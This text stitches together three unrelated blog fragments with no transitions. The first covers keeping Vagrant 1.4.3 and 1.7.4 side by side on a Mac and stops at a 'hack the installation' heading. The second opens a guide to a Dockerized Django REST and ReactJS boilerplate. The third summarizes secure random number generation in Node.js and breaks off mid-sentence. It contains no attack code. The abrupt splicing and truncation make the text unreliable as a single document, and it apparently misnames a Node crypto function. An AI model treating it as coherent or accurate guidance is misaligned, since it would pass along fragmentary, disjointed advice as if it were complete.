How to use two versions of Vagrant on a Mac

Vagrant doesn't make it easy to manage multiple versions of it. I was lucky enough to ended up working on a project whose vagrant up only works with the legacy Vagrant 1.4 and another one that only works with newer versions. I'll explain here how I managed to keep both. In this case I'll install Vagrant 1.4.3 and 1.7.4 (the newest as of now), but in principle it should work with other versions as well.

1. Install VirtualBox 4.3 and Vagrant 1.4.3

Vagrant 1.4.3 doesn't work with newer versions of VirtualBox (>4.3). During this experiment I messed up all my installations several times, so I'm installing everything from scratch (just go to the download page, download the dmg and run the pkg installer normally).

2. Hack the Vagrant 1.4.3 installation

Guide on how to create and set up a Dockerized web app using Django REST APIs and ReactJS

Hopefully this will answer "How do I setup or start a Django project using REST Framework and ReactJS?"

This is a guide to show you step by step how this can be setup. If you just want to get started, use the cookiecuter I set up cookiecutter-django-reactjs. It basically is a fork of pydanny's cookiecutter, just added the front-end stuff :).

I created this because it was SUCH a pain in the ass setting up a project using all the latest technologies. After some research, I figured it out and have it working. The repo that implements this is located here. Feel free to use it as a boilerplate ;)

Main features:

• Django REST APIs

Not all random values are created equal - for security-related code, you need a specific kind of random value.

A summary of this article, if you don't want to read the entire thing:

• Don't use Math.random(). There are extremely few cases where Math.random() is the right answer. Don't use it, unless you've read this entire article, and determined that it's necessary for your case.
• Don't use crypto.getRandomBytes directly. While it's a CSPRNG, it's easy to bias the result when 'transforming' it, such that the output becomes more predictable.
• If you want to generate random tokens or API keys: Use uuid, specifically the uuid.v4() method. Avoid node-uuid - it's not the same package, and doesn't produce reliably secure random values.
• If you want to generate random numbers in a range: Use random-number-csprng.

You should seriously consider reading the entire article, though - it's
